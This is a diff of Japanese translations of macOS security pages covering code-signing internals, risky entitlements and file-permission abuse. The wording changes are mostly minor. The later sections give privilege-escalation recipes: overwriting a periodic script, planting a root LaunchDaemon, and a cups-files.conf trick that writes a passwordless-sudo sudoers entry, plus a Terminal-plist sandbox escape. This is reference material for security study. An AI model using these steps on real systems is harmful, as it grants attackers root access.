@ -105,8 +105,8 @@ __attribute__ ((aligned(1)));
## コード署名ページ ## コード署名ページ
フルバイナリのハッシュを計算することは、メモリに部分的にしかロードされていない場合には非効率的であり、無意味です。したがって、コード署名は実際にはハッシュのハッシュであり、各バイナリページが個別にハッシュ化されます。\ 完全なバイナリをハッシュ化することは非効率的であり、部分的にメモリにロードされている場合には無意味です。したがって、コード署名は実際にはハッシュのハッシュであり、各バイナリページが個別にハッシュ化されます。\
実際、前の**コードディレクトリ**コードでは、**ページサイズが指定されている**ことがそのフィールドの1つに示されています。さらに、バイナリのサイズがページのサイズの倍数でない場合、フィールド**CodeLimit**は署名の終わりがどこにあるかを指定します。 実際、前の**コードディレクトリ**コードでは、**ページサイズが指定されている**のがわかります。さらに、バイナリのサイズがページのサイズの倍数でない場合、フィールド**CodeLimit**は署名の終わりがどこにあるかを指定します。
```bash ```bash
# Get all hashes of /bin/ps # Get all hashes of /bin/ps
codesign -d -vvvvvv /bin/ps codesign -d -vvvvvv /bin/ps
@ -207,13 +207,13 @@ CS_RESTRICT | CS_ENFORCEMENT | CS_REQUIRE_LV | CS_RUNTIME | CS_LINKER_SIGNED)
#define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED) #define CS_ENTITLEMENT_FLAGS (CS_GET_TASK_ALLOW | CS_INSTALLER | CS_DATAVAULT_CONTROLLER | CS_NVRAM_UNRESTRICTED)
``` ```
注意すべきは、関数 [**exec_mach_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_exec.c#L1420) は、実行を開始する際に `CS_EXEC_*` フラグを動的に追加することもできるということです。 注意すべきは、関数 [**exec_mach_imgact**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_exec.c#L1420) 実行を開始する際に `CS_EXEC_*` フラグを動的に追加できることです。
## コード署名要件 ## コード署名要件
各アプリケーションは、実行可能であるために満たさなければならない **要件** をいくつか **持っています**。もし **アプリケーションに満たされていない要件が含まれている場合**、それは実行されません(おそらく変更されているためです)。 各アプリケーションは、実行可能であるために満たさなければならない **要件** をいくつか **保持** しています。もし **アプリケーションに満たされていない要件が含まれている場合**、それは実行されません(おそらく変更されているためです)。
バイナリの要件は、**特別な文法** を使用し、**式** のストリームであり、`0xfade0c00` をマジックとしてエンコードされたブロブとして表現されます。その **ハッシュは特別なコードスロットに保存されます** バイナリの要件は **特別な文法** を使用し、**式** のストリームとして表現され、`0xfade0c00` をマジックとして使用してバイナリとしてエンコードされ、その **ハッシュは特別なコードスロットに保存** されます。
バイナリの要件は、次のコマンドを実行することで確認できます: バイナリの要件は、次のコマンドを実行することで確認できます:
```bash ```bash
@ -228,7 +228,7 @@ designated => identifier "org.whispersystems.signal-desktop" and anchor apple ge
> [!NOTE] > [!NOTE]
> この署名が認証情報、TeamID、ID、権限、その他多くのデータを確認できることに注意してください。 > この署名が認証情報、TeamID、ID、権限、その他多くのデータを確認できることに注意してください。
さらに、`csreq`ツールを使用していくつかのコンパイルされた要件を生成することが可能です さらに、`csreq`ツールを使用していくつかのコンパイルされた要件を生成することが可能です:
```bash ```bash
# Generate compiled requirements # Generate compiled requirements
csreq -b /tmp/output.csreq -r='identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR' csreq -b /tmp/output.csreq -r='identifier "org.whispersystems.signal-desktop" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = U68MSDN6DR'
@ -240,11 +240,9 @@ od -A x -t x1 /tmp/output.csreq
0000020 00 00 00 21 6f 72 67 2e 77 68 69 73 70 65 72 73 0000020 00 00 00 21 6f 72 67 2e 77 68 69 73 70 65 72 73
[...] [...]
``` ```
情報にアクセスし、`Security.framework`のいくつかのAPIを使用して要件を作成または変更することが可能です
#### **有効性の確認** #### **有効性の確認**
- **`Sec[Static]CodeCheckValidity`**: 要件ごとSecCodeRefの有効性を確認します。 - **`Sec[Static]CodeCheckValidity`**: 要件ごとSecCodeRefの有効性を確認します。
- **`SecRequirementEvaluate`**: 証明書コンテキスト内の要件を検証します。 - **`SecRequirementEvaluate`**: 証明書コンテキスト内の要件を検証します。
- **`SecTaskValidateForRequirement`**: 実行中のSecTaskを`CFString`要件に対して検証します。 - **`SecTaskValidateForRequirement`**: 実行中のSecTaskを`CFString`要件に対して検証します。
@ -272,8 +270,8 @@ od -A x -t x1 /tmp/output.csreq
#### **追加の便利なAPI** #### **追加の便利なAPI**
- **`SecCodeCopy[Internal/Designated]Requirement`: Get SecRequirementRef from SecCodeRef** - **`SecCodeCopy[Internal/Designated]Requirement`: SecCodeRefからSecRequirementRefを取得**
- **`SecCodeCopyGuestWithAttributes`**: 特定の属性に基づいてコードオブジェクトを表す`SecCodeRef`を作成します。サンドボックスに便利です。 - **`SecCodeCopyGuestWithAttributes`**: 特定の属性に基づいてコードオブジェクトを表す`SecCodeRef`を作成しサンドボックスに便利です。
- **`SecCodeCopyPath`**: `SecCodeRef`に関連付けられたファイルシステムパスを取得します。 - **`SecCodeCopyPath`**: `SecCodeRef`に関連付けられたファイルシステムパスを取得します。
- **`SecCodeCopySigningIdentifier`**: `SecCodeRef`から署名識別子チームIDを取得します。 - **`SecCodeCopySigningIdentifier`**: `SecCodeRef`から署名識別子チームIDを取得します。
- **`SecCodeGetTypeID`**: `SecCodeRef`オブジェクトのタイプ識別子を返します。 - **`SecCodeGetTypeID`**: `SecCodeRef`オブジェクトのタイプ識別子を返します。
@ -281,16 +279,16 @@ od -A x -t x1 /tmp/output.csreq
#### **コード署名フラグと定数** #### **コード署名フラグと定数**
- **`kSecCSDefaultFlags`**: コード署名操作のため多くのSecurity.framework関数で使用されるデフォルトフラグです。 - **`kSecCSDefaultFlags`**: コード署名操作のため多くのSecurity.framework関数で使用されるデフォルトフラグです。
- **`kSecCSSigningInformation`**: 署名情報を取得する必要があることを指定するために使用されるフラグです。 - **`kSecCSSigningInformation`**: 署名情報を取得する必要があることを指定するために使用されるフラグです。
## コード署名の強制 ## コード署名の強制
**カーネル**は、アプリのコードが実行される前に**コード署名を確認**します。さらに、新しいコードをメモリに書き込み、実行するための一つの方法は、`mprotect``MAP_JIT`フラグで呼び出される場合にJITを悪用することです。アプリケーションはこれを行うために特別な権限が必要であることに注意してください **カーネル**は、アプリのコードが実行される前に**コード署名を確認**します。さらに、新しいコードをメモリに書き込み実行する方法の一つは、`mprotect``MAP_JIT`フラグで呼び出される場合にJITを悪用することです。この操作を行うには、アプリケーションに特別な権限が必要です
## `cs_blobs` & `cs_blob` ## `cs_blobs` & `cs_blob`
[**cs_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106)構造体は、実行中のプロセスの権限に関する情報を含んでいます。`csb_platform_binary`は、アプリケーションがプラットフォームバイナリであるかどうかも通知しますこれは、これらのプロセスのタスクポートへのSEND権を保護するためのセキュリティメカニズムを適用するためにOSによって異なるタイミングでチェックされます [**cs_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106)構造体は、実行中のプロセスの権限に関する情報を含んでいます。`csb_platform_binary`は、アプリケーションがプラットフォームバイナリであるかどうかも通知しますこれは、これらのプロセスのタスクポートへのSEND権を保護するためのセキュリティメカニズムを適用するためにOSによって異なるタイミングでチェックされます
```c ```c
struct cs_blob { struct cs_blob {
struct cs_blob *csb_next; struct cs_blob *csb_next;

View File

@ -25,20 +25,20 @@
### `com.apple.security.cs.debugger` ### `com.apple.security.cs.debugger`
デバッグツール権限を持つアプリは、`task_for_pid()` を呼び出して、`Get Task Allow` 権限が `true` に設定された署名されていないおよび第三者のアプリの有効なタスクポートを取得できます。しかし、デバッグツール権限があっても、デバッガは **`Get Task Allow` 権限を持たない** プロセスのタスクポートを取得できず、それらはシステム整合性保護によって保護されています。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger)。 デバッグツール権限を持つアプリは、`task_for_pid()` を呼び出して、`Get Task Allow` 権限が `true` に設定された署名されていないアプリや第三者アプリの有効なタスクポートを取得できます。しかし、デバッグツール権限があっても、デバッガは **`Get Task Allow` 権限を持たない** プロセスのタスクポートを取得できず、それらはシステム整合性保護によって保護されています。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger)。
### `com.apple.security.cs.disable-library-validation` ### `com.apple.security.cs.disable-library-validation`
この権限は、**Appleによって署名されていないか、メイン実行可能ファイルと同じチームIDで署名されていないフレームワーク、プラグイン、またはライブラリをロードすることを許可します**。これにより、攻撃者は任意のライブラリのロードを悪用してコードを注入する可能性があります。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)。 この権限は、**Appleによって署名されていないか、メイン実行可能ファイルと同じチームIDで署名されていないフレームワーク、プラグイン、またはライブラリをロードする** ことを許可します。これにより、攻撃者は任意のライブラリのロードを悪用してコードを注入する可能性があります。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)。
### `com.apple.private.security.clear-library-validation` ### `com.apple.private.security.clear-library-validation`
この権限は **`com.apple.security.cs.disable-library-validation`** と非常に似ていますが、**ライブラリ検証を直接無効にするのではなく**、プロセスが **`csops` システムコールを呼び出して無効にすることを許可します**。\ この権限は **`com.apple.security.cs.disable-library-validation`** と非常に似ていますが、**ライブラリ検証を直接無効にするのではなく**、プロセスが **`csops` システムコールを呼び出して無効にする** ことを許可します。\
詳細は [**こちらを確認してください**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)。 詳細は [**こちらを確認してください**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)。
### `com.apple.security.cs.allow-dyld-environment-variables` ### `com.apple.security.cs.allow-dyld-environment-variables`
この権限は、**ライブラリやコードを注入するために使用される可能性のあるDYLD環境変数を使用することを許可します**。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)。 この権限は、**DYLD環境変数を使用する** ことを許可し、これによりライブラリやコードを注入することができます。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)。
### `com.apple.private.tcc.manager` または `com.apple.rootless.storage`.`TCC` ### `com.apple.private.tcc.manager` または `com.apple.rootless.storage`.`TCC`
@ -46,7 +46,7 @@
### **`system.install.apple-software`** および **`system.install.apple-software.standar-user`** ### **`system.install.apple-software`** および **`system.install.apple-software.standar-user`**
これらの権限は、ユーザーに許可を求めることなく **ソフトウェアをインストールする** ことを許可します。これは **特権昇格** に役立つ可能性があります。 これらの権限は、ユーザーに許可を求めることなく **ソフトウェアをインストールする** ことを許可し、**特権昇格** に役立つ可能性があります。
### `com.apple.private.security.kext-management` ### `com.apple.private.security.kext-management`
@ -54,11 +54,11 @@
### **`com.apple.private.icloud-account-access`** ### **`com.apple.private.icloud-account-access`**
権限 **`com.apple.private.icloud-account-access`** により、**`com.apple.iCloudHelper`** XPCサービスと通信することが可能、**iCloudトークンを提供** します。 権限 **`com.apple.private.icloud-account-access`** により、**`com.apple.iCloudHelper`** XPCサービスと通信することが可能になり、**iCloudトークンを提供** します。
**iMovie** と **Garageband** はこの権限を持っていました。 **iMovie** と **Garageband** はこの権限を持っていました。
この権限から **iCloudトークンを取得する** ためのエクスプロイトに関する詳細は、トークを確認してください: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) この権限から **iCloudトークンを取得する** ためのエクスプロイトに関する詳細は、トーク: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) を確認してください。
### `com.apple.private.tcc.manager.check-by-audit-token` ### `com.apple.private.tcc.manager.check-by-audit-token`
@ -109,11 +109,11 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
### **`kTCCServiceSystemPolicyAppBundles`** ### **`kTCCServiceSystemPolicyAppBundles`**
アプリバンドル内のファイルapp.app内を変更することを許可しますが、これは**デフォルトでは禁止されています**。 アプリバンドル内のファイルを変更することを許可しますapp.app内、これは**デフォルトでは禁止されています**。
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
このアクセス権を持つユーザーを確認するには、_システム設定_ > _プライバシーとセキュリティ_ > _アプリ管理_を確認してください このアクセス権を持つユーザーを確認するには、_システム設定_ > _プライバシーとセキュリティ_ > _アプリ管理_に移動します
### `kTCCServiceAccessibility` ### `kTCCServiceAccessibility`
@ -130,14 +130,14 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
この権限は、**Cコードをオーバーライドまたはパッチする**ことを許可し、長い間非推奨の**`NSCreateObjectFileImageFromMemory`**(根本的に安全でない)を使用するか、**DVDPlayback**フレームワークを使用することを許可します。詳細については[**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)。 この権限は、**Cコードをオーバーライドまたはパッチする**ことを許可し、長い間非推奨の**`NSCreateObjectFileImageFromMemory`**(根本的に安全でない)を使用するか、**DVDPlayback**フレームワークを使用することを許可します。詳細については[**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory)。
> [!CAUTION] > [!CAUTION]
> この権限を含めると、メモリ安全でないコード言語における一般的な脆弱性にアプリがさらされます。この例外がアプリに必要かどうかを慎重に検討してください。 > この権限を含めると、アプリがメモリ安全でないコード言語の一般的な脆弱性にさらされます。この例外がアプリに必要かどうかを慎重に検討してください。
### `com.apple.security.cs.disable-executable-page-protection` ### `com.apple.security.cs.disable-executable-page-protection`
この権限は、**ディスク上の自分の実行可能ファイルのセクションを変更する**ことを許可し、強制的に終了させることができます。詳細については[**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)。 この権限は、ディスク上の**自分の実行可能ファイルのセクションを変更する**ことを許可し、強制的に終了させることができます。詳細については[**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)。
> [!CAUTION] > [!CAUTION]
> 実行可能メモリ保護を無効にする権限は、アプリから基本的なセキュリティ保護を取り除く極端な権限であり、攻撃者が検出されることなくアプリの実行可能コードを書き換えることを可能にします。可能であれば、より狭い権限を優先してください。 > Disable Executable Memory Protection Entitlementは、アプリから基本的なセキュリティ保護を取り除く極端な権限であり、攻撃者が検出されることなくアプリの実行可能コードを書き換えることを可能にします。可能であれば、より狭い権限を優先してください。
### `com.apple.security.cs.allow-relative-library-loads` ### `com.apple.security.cs.allow-relative-library-loads`

View File

@ -4,27 +4,27 @@
## POSIX 権限の組み合わせ ## POSIX 権限の組み合わせ
**ディレクトリ**の権限: **ディレクトリ**の権限
- **読み取り** - ディレクトリエントリを**列挙**できます - **読み取り** - ディレクトリエントリを**列挙**できます
- **書き込み** - ディレクトリ内の**ファイル**を**削除/作成**でき、**空のフォルダ**を**削除**できます。 - **書き込み** - ディレクトリ内の**ファイル**を**削除/作成**でき、**空のフォルダ**を**削除**できます。
- しかし、**書き込み権限**がない限り、**非空のフォルダ**を**削除/変更**することはできません。 - しかし、**書き込み権限**がない限り、**非空のフォルダ**を削除/変更することはできません。
- フォルダの名前を**変更**することは、そのフォルダを所有していない限りできません。 - フォルダの名前を**変更**することは、そのフォルダを所有していない限りできません。
- **実行** - ディレクトリを**横断**することが**許可**されています。この権利がないと、その中のファイルやサブディレクトリにアクセスできません。 - **実行** - ディレクトリを**横断**することが許可されています。この権利がないと、その中のファイルやサブディレクトリにアクセスできません。
### 危険な組み合わせ ### 危険な組み合わせ
**rootが所有するファイル/フォルダを上書きする方法**ですが: **rootが所有するファイル/フォルダを上書きする方法**ですが
- パス内の親**ディレクトリの所有者**がユーザーである - パス内の親**ディレクトリの所有者**がユーザーである
- パス内の親**ディレクトリの所有者**が**書き込みアクセス**を持つ**ユーザーグループ**である - パス内の親**ディレクトリの所有者**が**書き込みアクセス**を持つ**ユーザーグループ**である
- ユーザーの**グループ**が**ファイル**に**書き込み**アクセスを持つ - ユーザーの**グループ**が**ファイル**に**書き込み**アクセスを持つ
前述のいずれかの組み合わせを使用すると、攻撃者は**特権のある任意の書き込み**を取得するために、期待されるパスに**シンボリック/ハードリンク**を**注入**することができます。 これらの組み合わせのいずれかを使用すると、攻撃者は**特権のある任意の書き込み**を取得するために、期待されるパスに**シンボリック/ハードリンク**を**注入**することができます。
### フォルダのルート R+X 特殊ケース ### フォルダのルート R+X 特殊ケース
**rootのみがR+Xアクセス**を持つ**ディレクトリ**内にファイルがある場合、それらは**他の誰にもアクセスできません**。したがって、**制限**のためにユーザーが読み取れない**ファイルを**このフォルダから**別のフォルダに移動**できる脆弱性は、これらのファイルを読み取るために悪用される可能性があります。 **ディレクトリ**内に**rootのみがR+Xアクセス**を持つファイルがある場合、それらは**他の誰にもアクセスできません**。したがって、**制限**のためにユーザーが読み取れない**ファイルを**このフォルダから**別のフォルダに移動**できる脆弱性は、これらのファイルを読み取るために悪用される可能性があります。
例: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions) 例: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
@ -32,7 +32,7 @@
### 寛容なファイル/フォルダ ### 寛容なファイル/フォルダ
特権プロセスが**低特権ユーザー**によって**制御**される可能性のある**ファイル**にデータを書き込んでいる場合、または低特権ユーザーによって**以前に作成**された可能性がある場合、そのユーザーはシンボリックまたはハードリンクを介して**別のファイルを指す**ことができ、特権プロセスはそのファイルに書き込みます。 特権プロセスが**低特権ユーザー**によって**制御される**可能性のある**ファイル**にデータを書き込んでいる場合、または低特権ユーザーによって**以前に作成された**可能性がある場合、そのユーザーはシンボリックまたはハードリンクを介して**別のファイル****し示す**ことができ、特権プロセスはそのファイルに書き込みます。
攻撃者が**特権を昇格させるために任意の書き込みを悪用できる**他のセクションを確認してください。 攻撃者が**特権を昇格させるために任意の書き込みを悪用できる**他のセクションを確認してください。
@ -58,11 +58,11 @@
``` ```
## ファイルディスクリプタ ## ファイルディスクリプタ
### FDの漏洩`O_CLOEXEC`なし) ### リークFD`O_CLOEXEC`なし)
`open`への呼び出しにフラグ`O_CLOEXEC`がない場合、ファイルディスクリプタは子プロセスによって継承されます。したがって、特権プロセスが特権ファイルを開き、攻撃者が制御するプロセスを実行すると、攻撃者は**特権ファイルに対するFDを継承します**。 `open`への呼び出しにフラグ`O_CLOEXEC`がない場合、ファイルディスクリプタは子プロセスによって継承されます。したがって、特権プロセスが特権ファイルを開き、攻撃者が制御するプロセスを実行すると、攻撃者は**特権ファイルに対するFDを継承します**。
**高い特権でファイルまたはフォルダを開くプロセスを作成できる場合**、**`crontab`**を悪用して、**`EDITOR=exploit.py`**`/etc/sudoers.d`内のファイルを開くことができ、`exploit.py``/etc/sudoers`内のファイルへのFDを取得し、それを悪用します。 **高い特権でファイルまたはフォルダを開くプロセスを作成できる場合**、**`crontab`**を悪用して、`EDITOR=exploit.py``/etc/sudoers.d`内のファイルを開くことができます。これにより`exploit.py``/etc/sudoers`内のファイルへのFDを取得し、それを悪用します。
例えば: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)、コード: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging 例えば: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)、コード: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
@ -120,9 +120,9 @@ ls -le /tmp/test
``` ```
### **com.apple.acl.text xattr + AppleDouble** ### **com.apple.acl.text xattr + AppleDouble**
**AppleDouble**ファイル形式は、ファイルとそのACEを含むコピーを作成します。 **AppleDouble**ファイル形式は、ファイルとそのACEをコピーします。
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)を見ると、xattrの中に保存されているACLテキスト表現が**`com.apple.acl.text`**として、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式のzipファイルに圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした。 [**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)を見ると、xattrの中に保存されているACLのテキスト表現である**`com.apple.acl.text`**が、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式のzipファイルに圧縮した場合... クアランティンxattrはアプリケーションに設定されませんでした。
詳細については、[**元の報告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)を確認してください。 詳細については、[**元の報告**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)を確認してください。
@ -156,7 +156,7 @@ macos-xattr-acls-extra-stuff.md
### プラットフォームバイナリチェックのバイパス ### プラットフォームバイナリチェックのバイパス
一部のセキュリティチェックは、バイナリが**プラットフォームバイナリ**であるかどうかを確認します。たとえば、XPCサービスに接続を許可するためです。しかし、https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/で示されているように、プラットフォームバイナリ(例:/bin/lsを取得し、環境変数`DYLD_INSERT_LIBRARIES`を使用してdyld経由でエクスプロイトを注入することで、このチェックをバイパスすることが可能です。 一部のセキュリティチェックは、バイナリが**プラットフォームバイナリ**であるかどうかを確認します。たとえば、XPCサービスに接続することを許可するためです。しかし、https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/で示されているように、プラットフォームバイナリ(/bin/lsなど)を取得し、環境変数`DYLD_INSERT_LIBRARIES`を使用してdyld経由でエクスプロイトを注入することで、このチェックをバイパスすることが可能です。
### フラグ`CS_REQUIRE_LV``CS_FORCED_LV`のバイパス ### フラグ`CS_REQUIRE_LV``CS_FORCED_LV`のバイパス
@ -225,9 +225,9 @@ CLIからリソースの署名を計算することができます:
```bash ```bash
openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64 openssl dgst -binary -sha1 /System/Cryptexes/App/System/Applications/Safari.app/Contents/Resources/AppIcon.icns | openssl base64
``` ```
## Mount dmgs ## DMGをマウントする
ユーザーは、既存のフォルダーの上に作成されたカスタムdmgをマウントできます。これが、カスタムコンテンツを含むカスタムdmgパッケージを作成する方法です: ユーザーは、既存のフォルダーの上に作成されたカスタムDMGをマウントできます。これが、カスタムコンテンツを含むカスタムDMGパッケージを作成する方法です:
```bash ```bash
# Create the volume # Create the volume
hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null
@ -253,11 +253,11 @@ hdiutil create -srcfolder justsome.app justsome.dmg
## 任意の書き込み ## 任意の書き込み
### 定期的なshスクリプト ### 定期的なシェルスクリプト
あなたのスクリプトが**シェルスクリプト**として解釈される場合、毎日トリガーされる**`/etc/periodic/daily/999.local`**シェルスクリプトを上書きすることができます。 あなたのスクリプトが**シェルスクリプト**として解釈される場合、毎日トリガーされる**`/etc/periodic/daily/999.local`**シェルスクリプトを上書きすることができます。
このスクリプトの実行を**偽装**するには、**`sudo periodic daily`**を使用します。 このスクリプトの実行を**偽装**することができます:**`sudo periodic daily`**
### デーモン ### デーモン
@ -278,37 +278,37 @@ hdiutil create -srcfolder justsome.app justsome.dmg
</dict> </dict>
</plist> </plist>
``` ```
`/Applications/Scripts/privesc.sh`を生成し、**root**として実行したい**コマンド**を記述してください `/Applications/Scripts/privesc.sh`を生成し、**root**として実行したい**コマンド**を記述します
### Sudoers File ### Sudoersファイル
**任意の書き込み**が可能であれば、**`/etc/sudoers.d/`**フォルダ内にファイルを作成し、**sudo**権限を自分に付与することができます。 **任意の書き込み**が可能であれば、**`/etc/sudoers.d/`**フォルダ内にファイルを作成し、**sudo**権限を自分に付与することができます。
### PATH files ### PATHファイル
ファイル**`/etc/paths`**は、PATH環境変数を設定する主な場所の一つです。上書きするにはrootである必要がありますが、**特権プロセス**から実行されるスクリプトが**フルパスなしでコマンドを実行**している場合、このファイルを変更することで**ハイジャック**できるかもしれません。 **`/etc/paths`**ファイルは、PATH環境変数を設定する主な場所の一つです。上書きするにはrootである必要がありますが、**特権プロセス**からスクリプトが**フルパスなしでコマンド**を実行している場合、このファイルを変更することで**ハイジャック**できるかもしれません。
また、**`/etc/paths.d`**にファイルを書き込むことで、`PATH`環境変数に新しいフォルダを追加することできます。 また、**`/etc/paths.d`**にファイルを書き込むことで、`PATH`環境変数に新しいフォルダを追加することできます。
### cups-files.conf ### cups-files.conf
この技術は[この書き込み](https://www.kandji.io/blog/macos-audit-story-part1)で使用されました。 この技術は[この書き込み](https://www.kandji.io/blog/macos-audit-story-part1)で使用されました。
次の内容でファイル`/etc/cups/cups-files.conf`を作成してください 次の内容で`/etc/cups/cups-files.conf`ファイルを作成します
``` ```
ErrorLog /etc/sudoers.d/lpe ErrorLog /etc/sudoers.d/lpe
LogFilePerm 777 LogFilePerm 777
<some junk> <some junk>
``` ```
このコマンドは、パーミッションが777のファイル`/etc/sudoers.d/lpe`を作成します。最後の余分なゴミは、エラーログの作成をトリガーするためのものです。 このコマンドは、パーミッションが777の`/etc/sudoers.d/lpe`ファイルを作成します。最後の余分なゴミは、エラーログの作成をトリガーするためのものです。
次に、`/etc/sudoers.d/lpe`に、特権を昇格させるために必要な設定を記述します。例えば、`%staff ALL=(ALL) NOPASSWD:ALL`のようにします。 次に、`/etc/sudoers.d/lpe`に、特権を昇格させるために必要な設定を記述します。例えば、`%staff ALL=(ALL) NOPASSWD:ALL`のようにします。
その後、ファイル`/etc/cups/cups-files.conf`を再度修正し、`LogFilePerm 700`を指定して、新しいsudoersファイルが`cupsctl`を呼び出すことで有効になるようにします。 その後、再度`/etc/cups/cups-files.conf`ファイルを修正し、`LogFilePerm 700`を指定して、新しいsudoersファイルが`cupsctl`を呼び出すことで有効になるようにします。
### サンドボックスエスケープ ### サンドボックスエスケープ
FSの任意の書き込みを使用してmacOSサンドボックスをエスケープすることが可能です。いくつかの例については、ページ[macOS Auto Start](../../../../macos-auto-start-locations.md)を確認してください。ただし、一般的な方法は、`~/Library/Preferences/com.apple.Terminal.plist`にターミナルの設定ファイルを書き込み、起動時にコマンドを実行するようにし、それを`open`呼び出すことです。 macOSサンドボックスをFSの任意の書き込みでエスケープすることが可能です。いくつかの例については、[macOS Auto Start](../../../../macos-auto-start-locations.md)のページを確認してください。ただし、一般的な方法は、`~/Library/Preferences/com.apple.Terminal.plist`にターミナルの設定ファイルを書き込み、起動時にコマンドを実行するようにし、`open`を使用して呼び出すことです。
## 他のユーザーとして書き込み可能なファイルを生成する ## 他のユーザーとして書き込み可能なファイルを生成する
@ -326,7 +326,7 @@ echo $FILENAME
``` ```
## POSIX共有メモリ ## POSIX共有メモリ
**POSIX共有メモリ**は、POSIX準拠のオペレーティングシステムにおいてプロセスが共通のメモリ領域にアクセスできるようにし、他のプロセス間通信方法と比較してより迅速な通信を促進します。これは、`shm_open()`を使用して共有メモリオブジェクトを作成または開き、`ftruncate()`でそのサイズを設定し、`mmap()`を使用してプロセスのアドレス空間にマッピングすることを含みます。プロセスはこのメモリ領域から直接読み書きできます。並行アクセスを管理し、データの破損を防ぐために、ミューテックスやセマフォなどの同期メカニズムがよく使用されます。最後に、プロセスは`munmap()``close()`で共有メモリをアンマップおよび閉じ、オプションで`shm_unlink()`でメモリオブジェクトを削除します。このシステムは、複数のプロセスが迅速に共有データにアクセスする必要がある環境で、効率的で迅速なIPCに特に効果的です。 **POSIX共有メモリ**は、POSIX準拠のオペレーティングシステムにおいてプロセスが共通のメモリ領域にアクセスできるようにし、他のプロセス間通信方法と比較してより迅速な通信を促進します。これは、`shm_open()`を使用して共有メモリオブジェクトを作成または開き、`ftruncate()`でそのサイズを設定し、`mmap()`を使用してプロセスのアドレス空間にマッピングすることを含みます。プロセスはこのメモリ領域から直接読み書きできます。並行アクセスを管理し、データの破損を防ぐために、ミューテックスやセマフォなどの同期メカニズムがよく使用されます。最後に、プロセスは`munmap()``close()`で共有メモリをアンマップおよび閉じ、オプションで`shm_unlink()`でメモリオブジェクトを削除します。このシステムは、複数のプロセスが迅速に共有データにアクセスする必要がある環境で、効率的で迅速なIPCに特に効果的です。
<details> <details>
@ -422,9 +422,9 @@ return 0;
## macOS ガード付きディスクリプタ ## macOS ガード付きディスクリプタ
